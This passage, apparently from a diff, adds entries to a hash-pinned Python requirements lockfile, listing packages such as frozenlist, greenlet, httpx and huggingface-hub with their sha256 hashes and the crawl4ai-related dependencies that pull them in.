--hash=sha256:b9a0ca4f03b7e0b01425281ffd44e99d360e15c895f1907ca105854ed85e2057 \ + --hash=sha256:bbb0c4b15d66b435d2538f3827f05e44e2baafcc003dd7d8472dc67807ab8fd8 \ + --hash=sha256:bcc96ee819c282e7c09b2eed2b9bd13084e3b749fdb2faf58c318d498df2efbe \ + --hash=sha256:c0a94245afae4d7af8c43b3159d5e3934c53f47140be0be624b96acd672ceb73 \ + --hash=sha256:c0eb25f0fd935e376ac4334927a59e7c823b36062080e2e13acbaf2af15db836 \ + --hash=sha256:c3091e63acf42f56a6f74dc65cfdb6f99bfc79b5913c8a9ac498eb7ca09770a8 \ + --hash=sha256:c501561e025b7aea3508719c5801c360c711d5218fc4ad5d77bf1c37c1a75779 \ + --hash=sha256:c7502d6f54cd08024c3ea9b3514e2d6f190feb2f46e6dbcd3747882264bb5f7b \ + --hash=sha256:caa1f14d2102cb8d353096bc6ef6c13b2c81f347e6ab9d6fbd48b9dea41c153d \ + --hash=sha256:cb9a030f609194b679e1660f7e32733b7a0f332d519c5d5a6a0a580991290022 \ + --hash=sha256:cd5a7f648d4365b41dbf0e38fe8da4884e57bed4e77c83598e076ac0c93995e7 \ + --hash=sha256:d23ef06f9e67163be38cece704170486715b177f6baae338110983f99a72c070 \ + --hash=sha256:d31f8c257046b5617fc6af9c69be066d2412bdef1edaa4bdf6a214cf57806105 \ + --hash=sha256:d55b7e96531216fc4f071909e33e35e5bfa47962ae67d9e84b00a04d6e8b7173 \ + --hash=sha256:d9e4332dc4ba054434a9594cbfaf7823b57993d7d8e7267831c3e059857cf397 \ + --hash=sha256:de01280eabcd82f7542828ecd67ebf1551d37203ecdfd7ab1f2e534edb78d505 \ + --hash=sha256:df61342889d0f5e7a32f7284e55ef95103f2110fee433c2ae7c2c0956d76ac8a \ + --hash=sha256:e0976c0dff7e222513d206e06341503f07423aceb1db0b83ff6851c008ceee06 \ + --hash=sha256:e150eab56c95dc9e3fefc234a0eedb342fac433dacc273cd4d150a5b0871e1fa \ + --hash=sha256:e23fc6a83f112de4be0cc1990e5b127c27663ae43f866353166f87df58e73d06 \ + --hash=sha256:ec27778c6ca3393ef662e2762dba8af13f4ec1aaa32d08d77f71f2a70ae9feb8 \ + --hash=sha256:f54d5b36c56a2d5e1a31e73b950b28a0d83eb0c37b91d10408875a5a29494bad \ + --hash=sha256:f74631b8322d2780ebcf2d2d75d58045c3e9378625ec51865fe0b5620800c39d + # via unclecode-litellm +filelock==4.0.4 \ + --hash=sha256:0df72be195ca7892216d16f2edce8d9b93a571f02402972020a8cff84c594c7b \ + --hash=sha256:90999ed63a26ccf86b93b959ab10cf1017f422d816be454ed54cbed263e71ab5 + # via huggingface-hub +frozenlist==1.8.0 \ + --hash=sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686 \ + --hash=sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0 \ + --hash=sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121 \ + --hash=sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd \ + --hash=sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7 \ + --hash=sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c \ + --hash=sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84 \ + --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ + --hash=sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b \ + --hash=sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79 \ + --hash=sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967 \ + --hash=sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f \ + --hash=sha256:13d23a45c4cebade99340c4165bd90eeb4a56c6d8a9d8aa49568cac19a6d0dc4 \ + --hash=sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7 \ + --hash=sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef \ + --hash=sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9 \ + --hash=sha256:1a7607e17ad33361677adcd1443edf6f5da0ce5e5377b798fba20fae194825f3 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ + --hash=sha256:1aa77cb5697069af47472e39612976ed05343ff2e84a3dcf15437b232cbfd087 \ + --hash=sha256:1b9290cf81e95e93fdf90548ce9d3c1211cf574b8e3f4b3b7cb0537cf2227068 \ + --hash=sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7 \ + --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b \ + --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25 \ + --hash=sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930 \ + --hash=sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37 \ + --hash=sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128 \ + --hash=sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2 \ + --hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + --hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd + # via + # aiohttp + # aiosignal +fsspec==2026.9.0 \ + --hash=sha256:0f08147951c8cb31d844c3547d631053b127863b60be04cf06e121333ee0e2fe \ + --hash=sha256:8dd6e646e99ea382bd85f97a45e6b526a442d79423a7dc673f1e2756d05fcb5f + # via huggingface-hub +greenlet==3.5.6 \ + --hash=sha256:0616b8f878098c5681fd8f0dc92d887551717402342a70f0abcbfea5f5ad8a44 \ + --hash=sha256:06c0e933290fba8ffe53ead4ae1b8044b0e9754b75cebf381aa2bc3e50d82fac \ + --hash=sha256:128813fc29f2336a21b4d06eedd5e16bcc7ea46f59e9ff1cb30ea70e48195d88 \ + --hash=sha256:188bf333769b7145e2b0b4a7f09615ec550ed44d3a2a8395fb7b36f0e9901e13 \ + --hash=sha256:1c20ea32a73d17b9b60e3371240e17b0068120c98a5ec01a224a7dd8c89733ba \ + --hash=sha256:2ab5f42ac6c238eb71770715e6e909ad9a1a92b6c681ccb64cd5a0f07edb953f \ + --hash=sha256:301102a49120b095e72a7838792b41233975fc1c155daec6d98f81c00c9280e0 \ + --hash=sha256:311018b46472fb26ee85870847fb89eb64cc8aaddb617400789d87076f7cfeec \ + --hash=sha256:3ac3494c381dab876cad7d0b22f3a722f3e0c8deb3a65b9e7f35ad7f58b8fcb3 \ + --hash=sha256:3c6dede9133e1da41d561bc3fb14e92b47e2ce39ae60edefaad145658ea7c5e2 \ + --hash=sha256:3dbb4596a6a4e5d47121a33ff20533a81e60f302d9e67b69909a8bc21a43f0a7 \ + --hash=sha256:3deccbb57a481e3a408fe61cdfd5c13e0678fc0a30fdd09597917ca87b4be877 \ + --hash=sha256:45663c01a4de48b9a64a2ee1509d92d1dfd3afb02b2ccfc9333029d11aef996a \ + --hash=sha256:45bfd2b51e38aaa5f9849f114d9c7c1d75f69187c849b3549cd64c465283abfa \ + --hash=sha256:460e70b033aba8ed47e2ac9b5d0d2157b05a34fbfa30a241400aef4118902cdc \ + --hash=sha256:4fb8e59f68845d56c23c031dcd79c329f345e4a9d2ffac91c3d1ab366bdc457b \ + --hash=sha256:520648db8fb92eef7b3e6013f5a6f901cdf0d6685f639c2f7a245879f865bef7 \ + --hash=sha256:5599b380c1f28efeb724e81569eac80cd92f99a85bd9775456caaf3225d40b11 \ + --hash=sha256:59deccd347735a7774223b05a93773fddbb298aba3cea21be4337fb4752dbe32 \ + --hash=sha256:5a0b2791239c99992a86c1b635b787fe2a877d9eaaa26f8891ce943832b585ae \ + --hash=sha256:5adcbbfe78bdc242c71740a02e0991cc1b2f34d33c8bb15ca45eee8fd1140942 \ + --hash=sha256:5b602b4201b965a8354d74e232364a66ff243dd142e350d035f46169bb36e13d \ + --hash=sha256:5bbda3c70dd35d60671bc33b01916802707a052130d9e50cdb871d34594d35cb \ + --hash=sha256:602024dae6d77e161f4b89491b62ca1d4f19949d79d47b2db057e476d21179d6 \ + --hash=sha256:61a61b4a95a4f97922c3a6f5606d3e360851584bd47e500a5161373c53810e3d \ + --hash=sha256:63aff70fe5aac59c72215f42ec39fcb59ff46774fa966e717f8ecb6ee2273577 \ + --hash=sha256:71890d5247020c25c21a6b65202782bfc281d4e6e244842419d30e3492bb6dcc \ + --hash=sha256:73a29b5ba642e35433166a03a3e02935e7238c4b3467fbd77523b99edea23e5b \ + --hash=sha256:7969bffa322c097bd46ae595ada6a931cefda613f18ba64587e9cff4cb320756 \ + --hash=sha256:7ac4abb3877c43af320392c664774eef6fa2cc063c79a55fc02d844a3cbe7395 \ + --hash=sha256:7f731ebac68ea06d628658295cb2d217b10186329fcf9a3b6a149045059bf92e \ + --hash=sha256:7f924a5a9d5890649566f2f6682e0d8ad8ca23028bacffbbac36dbd7fd680176 \ + --hash=sha256:874cea8bb1ec1ddccbacbd027856f6bf496f6bc18aba97a918c20e067edab236 \ + --hash=sha256:876077e7ebb8c84ed068e2b23d4c62ebb010d60df84b9591af1be2f39010ffb2 \ + --hash=sha256:886bcf1870af74c32bc310fd00a6b803445e17e51b7d5a107c7b35c0f362cc16 \ + --hash=sha256:8b27df301f56e3b3d2298095c8f7d6b68f2521f6b1693e901fa039bdbae34424 \ + --hash=sha256:8b7c73d1cef3d9ae963e9ff03f6222df43efbb9054ffd2f1969c935b7fc84c02 \ + --hash=sha256:8cda13494d86a4f12429641117cb6ac4bbbc9c30a33f711f7d3a2e5fbe4b0b7e \ + --hash=sha256:8cddea1b8339451c2fb3388e138347b6126744f33b611bdb55b7357361cfef46 \ + --hash=sha256:8dba0129b93e7091dfefaf4cf7000172741bff7f47bf6326fcf17f32fbb54d6b \ + --hash=sha256:8e67c43bdfc88d5fee6db0d3e40175b362fc95fb85f0412d233b9b203c53a575 \ + --hash=sha256:9133d68624b1f2e89ec2f554d56aea8a5b0d7168cd9320200ba58d4d794845a4 \ + --hash=sha256:916f92f2a8db10508f739d0b5e00b83defe5d1115a997c54532a6d7cf8c95404 \ + --hash=sha256:9297fb9c39b9a2c039dbcd306c410bd6906b95244dec3bba4318d36c718c164c \ + --hash=sha256:95e7c44d072db623a1aab04ce488cf9533294a77ed9d072cd503a3596f4106ac \ + --hash=sha256:975736b002ed080d124cf81a79cb7e05cb26d6b3f5c7a7b651c0fcce70353aa1 \ + --hash=sha256:97c5a53e8c1754df58e73f047a99e287d4da1bdfe64b0072fb25c87000897951 \ + --hash=sha256:9a09d59bef1db94f384b5bcc2d523694d338f3df6b757aeeaf7baca5d0c0be88 \ + --hash=sha256:a364c1ea75dc51b83a17f52fe0c79cf8bc4ddf740403bebd4581c7666eea017d \ + --hash=sha256:a3b4a01c6da07ef9f80d4fe8933b994bc99747bcea3eab0330a9c34d3c12655b \ + --hash=sha256:a5876d0a60355af98d535c47f6cd6eb0f8a432396dab26845d380b92f8412422 \ + --hash=sha256:a6a4b98a9132e0f45c9fc245a63894cfd8c45fb7a0d6bffc5eab3ec327cf7324 \ + --hash=sha256:a6b4ff33f7e011bbaa148238d131c4fd4f8afbab3c104ddfbdb2b12b74ff7016 \ + --hash=sha256:a93ee7c6e8fd0f8a83525a51bd777be57ee17787e91d805bd8d6faf9dcada18e \ + --hash=sha256:b374e79ffa7511afc11773aef40a4ccea6191fba1c856ea2f9c56738dca69d7a \ + --hash=sha256:b7d501d5eb5d4f67207df364752ad697465b834268744be7581c18d81d35d41d \ + --hash=sha256:c59acfa8eb73a1e0d484392dc002bdf001fd4ce73394e0132df3d1ab6093d7cb \ + --hash=sha256:c75116c9de79949de23006e2d9b35ee82874c594fcf5c0311b439acaa14b8441 \ + --hash=sha256:ca80a49b53ed1d22f7282da7255f7bb2fd1935fd0f623d8613fda38745f18961 \ + --hash=sha256:cad5782f93f7f738b62c6527b6f32a60694d924029f299a8b524758cfa53d815 \ + --hash=sha256:ccadce0130fd813ec86ebfe969a6c58b42acc1d0fe55a47525375b740e07b605 \ + --hash=sha256:d701eab36200c36224833d07dbdb709adb7fd4253429548ddb5e547b8ed40586 \ + --hash=sha256:dad3d233d441a022c1f7155f0fb9d5aff7b97c1ea8c7dfa02cce586b16ab2d0b \ + --hash=sha256:dd0b83bed3405b586a3133629f1d1a5bc7bfd64822a3b7ab342bdc68e6dbc61b \ + --hash=sha256:de3de000d459402cda015068fd135aa50c0bf6f2477a80d4da1e646f123b4e78 \ + --hash=sha256:de9923832f2d8c1a5ecd8d7260465a6ca5a86888a0d129e3bd5cf0406d2fc5bf \ + --hash=sha256:df19e2d0b1620039af5102563fbd96e8938c7f5c3f5828528d641d9fc585525e \ + --hash=sha256:e85880b538e59a59f55117b81f208a6660ad5ac328aad9305f812d9b8bc67a0f \ + --hash=sha256:ee7d9da3bf493909cf811a3f038840cb34fab5ae2956b8a263919f6e289ab188 \ + --hash=sha256:eed88b64a5e5da72d6a71cdc5aaeefaa5ced9b748f8d19f89800b339961dad39 \ + --hash=sha256:f0ba7c2a329d650628f4c8572fd1db29f0a59dd70a3e3e0710dcf18a35cce9d8 \ + --hash=sha256:f8e63209c3e1e828ee6a457529b4a6d8b05d050fe0ae03a7ae49e967c5d312e0 \ + --hash=sha256:f8f0bd690e1a41294ac87905e8121c81a3761ec2583c768f13467428606c8c7a \ + --hash=sha256:f96f0e30b5a95c7631b12bfe214cbc90ec8fe8cfa36920596c10514a65743519 \ + --hash=sha256:f98e8215e172f567ce80eeaed9107fb4d32b6c44f26983d9b8334658136a205a \ + --hash=sha256:f9fe868463ec7e1363733af77e38a5fda3e9b63940337048c945d69e0c80ff24 \ + --hash=sha256:fdacf26402389bdd89857ad3c045a26fe8f3314f9a8b28226f82f88463a65b77 \ + --hash=sha256:fe3170a69fe039b18ad18171e66faa9a75f6fe9d78f968fd9b54e09fbd714d81 \ + --hash=sha256:fea4427d1ffdb3b523d7daa6712038428a4c16c450b9777bdd1221cfee0eab49 + # via + # patchright + # playwright +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 + # via + # httpcore + # httpcore2 +h2==4.4.1 \ + --hash=sha256:0e25f1462b23c9cb82d9eb02e28bc706dac2a68cb457c6a0d74d63c8a2a5d0e6 \ + --hash=sha256:4e866ffb1a869ae14dd9b5e6beb5c24a13da0495ad72b65925ded182521c1516 + # via httpx +hf-xet==1.6.0 \ + --hash=sha256:0e6e21fa3cdfcdcd76748564bf593870a5e013f47d97cf10aed63aa222cff5b7 \ + --hash=sha256:23379c2f9ec8696d952b16414a2bae72cad86a52df869b050698ba60f538c675 \ + --hash=sha256:2e58454a340b3556dfa4972d5451aff4fba8dd42a236600ba1a1d2b1514f0fef \ + --hash=sha256:35cec30d75c6f9eb9c16a77cef68e85a103b72e24d4b473714ec9ff06428bab9 \ + --hash=sha256:3dc3e35441ba395006af5aaacc40ef2e603c51ef46c3530b9156185f00935ea3 \ + --hash=sha256:4fc74352a17015bd0ee90038bc9efe38db894cde45f268b6712b04fce8cd0acb \ + --hash=sha256:5153e6bb103ad49d6ea9f1b2e230db5a2ea32551ad09a706d2f61d7c7c80d80e \ + --hash=sha256:5789835d7c6bc9436962853192082374297fb72d7eff7e7762ec25ceb7e25338 \ + --hash=sha256:633dc0cd71d32da58ab8c03ad38e2fac452c15c2b0a2866ebf6ededfe0a5061d \ + --hash=sha256:70cbb9c896901600128cb9b6f06e132954fbede1db30f31f7c6c63f84cb7c31d \ + --hash=sha256:75765820ce4700db3750c94acc8fe27c5fae4c9ec000a0dbac3ca082acf97765 \ + --hash=sha256:8fb4f71cba6129110c3374a33f919001ff130488fc23553698e34cc1c2a1198c \ + --hash=sha256:948f15d3a9545cfe5932f6bd8b440f6ae630aee108f14b7bd6c561f7c2dcc522 \ + --hash=sha256:d62671bb130879cef0ee4c9ebe47a14af6c66ec53e6d84dc15936e5ffdfac82f \ + --hash=sha256:f0906082d9932ae0c0057fa194041c22b4e2cdb46b2592ef3b91f020d62a081a \ + --hash=sha256:f2f7278c05c22fd60cb436cda1269649b3e81db65ecdc8496e5e164aa4143e7b \ + --hash=sha256:fb4fadde1b2b70bf4c0c14a6dccbe7194b1c28947fefd5bbe3fed9d940676c3b + # via huggingface-hub +hpack==4.2.0 \ + --hash=sha256:0895cfa3b5531fc65fe439c05eb65144f123bf7a394fcaa56aa423548d8e45c0 \ + --hash=sha256:858ac0b02280fa582b5080d68db0899c62a80375e0e5413a74970c5e518b6986 + # via h2 +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 + # via httpx +httpcore2==2.13.1 \ + --hash=sha256:e0aa977abe17e69a3b820a24542a6fa88702676d83880b8d194dcd18408e5103 \ + --hash=sha256:e1e05d4f25f7d7d496bfb96748f6f4b67657b03da069b3a68c36069f3db73d0a + # via httpx2 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad + # via + # crawl4ai + # huggingface-hub + # unclecode-litellm +httpx2==2.13.1 \ + --hash=sha256:6dff50fabc270ee5fd25d845d0b078ed20564579744d6d962850975996d2f9a4 \ + --hash=sha256:e48744a19e3af5ee48313d0ce5fe941d5422fae5705ea922a4aabf94d7800dfa + # via openai +huggingface-hub==1.33.0 \ + --hash=sha256:04e434b06e100eddbce9a6e817d72693a7884b10a79bd67ab48080d5c07eb899 \ + --hash=sha256:367be21a201db9523eddf8aeac7048f2602c1b308691c97640d5e72ed188007e + # via tokenizers +humanize==4.16.0 \ + --hash=sha256:353eb2f34c09d098b2880eee8bef21832eae6d174f48c5762fff7e5fcb74d01d \ + --hash=sha256:7dc2244a2f84a4bfb1d36c37bac80cd78e35cdc5c119206d87b018e1445f3a3f + # via crawl4ai +hyperframe==6.1.0 \ + --hash=sha256:b03380493a519fce58ea5af42e4a42317bf9bd425596f7a0835ffce80f1a42e5 \ + --hash=sha256:f630908a00854a7adeabd6382b43923a4c4cd4b821fcb527e6ab9e15382a3b08 + # via h2 +idna==3.20 \ + 